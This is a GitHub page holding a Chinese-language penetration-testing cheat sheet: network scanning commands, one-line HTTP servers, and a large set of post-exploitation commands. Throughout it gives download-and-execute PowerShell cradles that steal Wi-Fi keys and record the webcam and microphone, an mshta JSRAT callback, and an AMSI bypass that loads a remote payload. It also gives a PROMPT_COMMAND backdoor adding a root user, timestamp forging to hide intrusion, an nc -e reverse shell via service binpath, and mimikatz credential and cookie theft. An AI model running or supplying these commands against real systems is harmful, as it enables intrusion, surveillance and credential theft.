-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy path一些命令.txt
515 lines (334 loc) · 16.6 KB
/
一些命令.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
一条命令揪出ssh登录者物理地址
for i in `grep 'sshd' /var/log/auth.log* |grep 'Accepted' |grep ftp| grep -oE '\<([1-9]|[1-9][0-9]|1[0-9]{2}|2[01][0-9]|22[0-3])\>(\.\<([0-9]|[0-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\>){2}\.\<([1-9]|[0-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-4])\>' | sort | uniq`; do curl -s --header "X-Forwarded-For: $i" http://1212.ip138.com/ic.asp |iconv -c -f GB2312 -t utf-8 | grep -o -P '(?<=\<center\>您的IP是:).*(?=<\/center)' ; done
此条命令可获取所有存储在注册表中包含密码的键值
REG query HKCU /v "pwd" /s #pwd可替换为password \ HKCU 可替换为HKCR
powerup.ps1用于进行提权检测,这个脚本会查找 所在服务器的 服务 ,dll ,第三方等 可提权的漏洞信息
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks
1、扫描存活主机脚本
使用方法 ./xxx.sh 192.168.10 > IP
is_alive_ping()
{
ping -c 1 $1 > /dev/null
[ $? -eq 0 ] && echo $i
}
read -p "IP[1.2.3]" IP
for i in $IP.{1..254}
do
is_alive_ping $i & disown
done
2.端口扫描脚本
使用方法是直接运行该python程序, 比如保存为test.py ,直接运行 python test.py ,不过前提是你需要有IP文件,即就是第一步中你用shell脚本生成的IP列表
import threading,os,time
def ncDetect(IP):
command = "nc -v -z " + IP +" 21-9000 2>&1| grep succeed"
f = os.system(command)
IPHandle = open("IP","r")
test = IPHandle.readline()
test = test.strip('\n')
while test:
for i in range(5):
t = threading.Thread(target=ncDetect,args=(test,))
t.start()
test = IPHandle.readline()
test = test.strip('\n')
time.sleep(5)
test = IPHandle.readline()
test = test.strip('\n')
exit(0)
很简单的小技巧,分享给搞内网的同志
内网C段存活主机查找,这条来自核大很早以前的回帖
for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1 | find /i "ttl"
通过上面一条,加上我在内网玩的经验,延伸出了下面这条,是用来找主机名的
for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
再从上面一条,延伸出了B段查找,因为在一个内网里面有时候不一定只有一个域,而当两个域没有信任时,可以用这条扫出来
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"
这条也是核攻击大牛发的,是用来找域机器对应IP的
FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)
利用powershell对目标内网进行icmp扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,8"
在linux下使用各类icmp扫描
#!/bin/bash
for ip in 192.168.1.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done
nmap的icmp扫描
nmap -sn -PE 192.168.1.0/24
arp扫描
在win下使用各种arp扫描
start /b arpscan.exe -t 192.168.1.0/24 >> result.txt
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
在linux下使用arp扫描
nmap -sn -PR 192.168.1.0/24 尝试arp扫描
以下内容为整合内容。首发于个人blog:http://rcoil.me/2017/08/%E5%86%85%E7%BD%91%E5%AD%98%E6%B4%BB%E6%89%AB%E6%8F%8F/
咦!使人觉得遥远的不是时间长,而是两三件不可挽回的事。
icmp扫描
基于icmp的各种内网主机发现方式。除了本身自带的命令,也可以考虑使用第三方程序,比如cping,自己写的脚本等。
在win下使用icmp扫描
cmd中执行如下命令,对整个C段进行ping扫描
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"
B段查找
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"
利用powershell对目标内网进行icmp扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,8"
在linux下使用各类icmp扫描
#!/bin/bash
for ip in 192.168.1.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done
nmap的icmp扫描
nmap -sn -PE 192.168.1.0/24
arp扫描
在win下使用各种arp扫描
start /b arpscan.exe -t 192.168.1.0/24 >> result.txt
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" >> result.txt
在linux下使用arp扫描
nmap -sn -PR 192.168.1.0/24 尝试arp扫描
处在别人的vpn内网中(kali)
netdiscover -r 192.168.1.0/24 -i eth0
msf的arp扫描模块
msf > use auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac xxxxxxxxx
msf > set rhosts 192.168.1.0/24
msf > set threads 20
msf > set shost 192.168.1.27
msf > run
meterpreter
meterpreter > getsystem
meterpreter > run autoroute -s 192.168.1.0/24
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
基于smb和netbios的内网主机发现方式
win下
nbtscan.exe -m 192.168.1.0/24 非常经典的小工具
linux下
wget http://www.unixwiz.net/tools/nbtscan-source-1.0.35.tgz
...
./nbtscan -m 192.168.1.0/24
域内扫描
net view
dsquery computer 其实,域内最好用的也就是nbtscan了
Ps:如果计算机名很多的时候,可以利用bat批量ping获取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
时代在进步,IPV6越来越多了,那位牛来科普下IPV6的知识,应该可以延伸出更多的命令出来
其实这些对于大牛来说只是些命令的简单应用而已,希望有更多实用命令被分享出来,更加利于我们渗透的学习与经验的增长
各种脚本语言不同版本一句话开启 HTTP 服务器的总结
Python 2.x
$ python -m SimpleHTTPServer 8000
Python 3.x
$ python -m http.server 8000
Twisted (Python)
$ twistd -n web -p 8000 --path .
Or:
$ python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'
参见:Twisted.
Ruby
$ ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'
参见:Barking Iguana
Ruby 1.9.2+
$ ruby -run -ehttpd . -p8000
参见:nobu
adsf (Ruby)
$ gem install adsf # install dependency
$ adsf -p 8000
参见:twome
Sinatra (Ruby)
$ gem install sinatra # install dependency
$ ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'
Perl
$ cpan HTTP::Server::Brick # install dependency
$ perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'
参见:Anonymous Monk
Plack (Perl)
$ cpan Plack # install dependency
$ plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000
参见: miyagawa
Mojolicious (Perl)
$ cpan Mojolicious::Lite # install dependency
$ perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000
http-server (Node.js)
$ npm install -g http-server # install dependency
$ http-server -p 8000
node-static (Node.js)
$ npm install -g node-static # install dependency
$ static -p 8000
PHP (>= 5.4)
$ php -S 127.0.0.1:8000
参见: /u/prawnsalad and MattLicense
Erlang
$ erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'
参见:nivertech
busybox httpd
$ busybox httpd -f -p 8000
参见:lvm
webfs
$ webfsd -F -p 8000
参见:webfs.
IIS Express
C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000
参见:IIS Express and /u/fjantomen
Linux
Linux反弹shell后,方便的交互:
python -c 'import pty; pty.spawn("/bin/bash")'
无python时:
expect -c 'spawn bash;interact'
无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/sec-lab.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl
修改上传文件时间戳(掩盖入侵痕迹)
touch -r 老文件时间戳 新文件时间戳
利用BASH提权
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
$PROMPT_COMMAND 利用这个变量保存了在主提示符$PS1显示之前需要执行的命令
导入:
export PROMPT_COMMAND=”/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND”
lsof 命令
lsof 1.txt 显示开启文件 abc.txt 的进程
lsof -i :22 知道 22 端口现在运行什么程序
lsof -c nsd 显示 nsd 进程现在打开的文件
lsof -g gid 显示归属 gid 的进程情况
lsof +d /usr/local/ 显示目录下被进程开启的文件
lsof +D /usr/local/ 同上,但是会搜索目录下的目录,时间较长
lsof -d 4 显示使用 fd 为4 的进程
lsof -i 用以显示符合条件的进程情况
SSH端口转发
下面文章详细描述了3种方式转发
http://www.cnblogs.com/david-zha ... /08/18/2645943.html
图片马
Exiftool “-comment<=raj.php” 1.png
Windows
Powershell 相关
获取无线密码:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Get-WLAN-Keys.ps1');Get-Wlan-Keys "
提权加账号
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"
下载执行:
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://b.hiphotos.baidu.com/image/pic/item/d009b3de9c82d15825ffd75c840a19d8bd3e42da.jpg','C:\\Users\Public\\test.jpg') & start C:\\Users\\Public\\test.jpg
摄像头录像:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1'); Capture-MiniEye -RecordTime 2 -Path $env:temp\hack.avi"
录音:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1');Get-MicrophoneAudio -Path $env:TEMP\secret.wav -Length 10 -Alias 'SECRET'"
MSHTA
VBSCRIPT EXEC
mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
JAVASCRIPT EXEC
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
JSRAT
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}
Bypass AMSI:
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
use:
powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')
Bypass AV
sqlite3.exe -cmd "select load_extension('1.txt','EP')"
sqlite3.exe -cmd "select load_extension('\\192.168.1.101\share\1.txt','EP')"
mimikatz
获取vpn密码
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
读取chrome cookies
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\USERDA~1" exit
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
提权常用
// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
// Get the hostname and username (if available)
hostname
echo %username%
// Get users
net users
net user [username]
// Networking stuff
ipconfig /all
// Printer?
route print
// ARP-arific
arp -A
// Active network connections
netstat -ano
// Firewall fun (Win XP SP2+ only)
netsh firewall show state
netsh firewall show config
// Scheduled tasks
schtasks /query /fo LIST /v
// Running processes to started services
tasklist /SVC
net start
// Driver madness
DRIVERQUERY
// WMIC fun (Win 7/8 -- XP requires admin)
wmic /?
//Use wmic_info script!
// WMIC: check patch level
wmic qfe get Caption,Description,HotFixID,InstalledOn
// Search pathces for given patch
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.."
// AlwaysInstallElevated fun
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
// Other commands to run to hopefully get what we need
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
// Service permissions
sc query
sc qc [service_name]
// Accesschk stuff download link
accesschk.exe /accepteula (always do this first!!!!!)
accesschk.exe -ucqv [service_name] (requires sysinternals accesschk!)
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
accesschk.exe -ucqv [service_name]
// Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
// Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
// Binary planting
sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
sc config [service_name] obj= ".\LocalSystem" password= ""
sc qc [service_name] (to verify!)
net start [service_name]
CMD
%ProgramData:~0,1%%ProgramData:~9,2% /c echo
命令行下载
certutil -urlcache -split -f example.com/file
寻找网站后台路径的N种姿势
一:间接接触
0x01: search
1. 直接搜索目标可能存在的相关后台路径
site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage"
2. 尝试搜索一些文档型资料路径,判断是否包含后台路径
site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx"
3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径
site:target.com
二:直接接触
0x02: view the site
1. 查看robots.txt文件,查看是否存在网站后台路径
2. 使用传统路径爆破方式,猜测可能存在的后台路径
3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试
4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接
5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径
6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径
7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息
8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径
0x03: open mind
1. 端口扫描,判断后台是否部署在同一主机的其它端口
2. 子域名收集,判断后台是否部署在子域名的某台主机上
3. 利用漏洞(如旁站漏洞、XSS、任意文件读取),间接获得后台路径地址
4. 结合网站鲜明的特征信息(个人博客名、域名、机构名),构造可能存在的后台路径
5. 网站有开发者、外包公司等信息,尝试社工方式联系客服等相关人员(如想买相同系统,希望看个样例后台页面),套出默认后台地址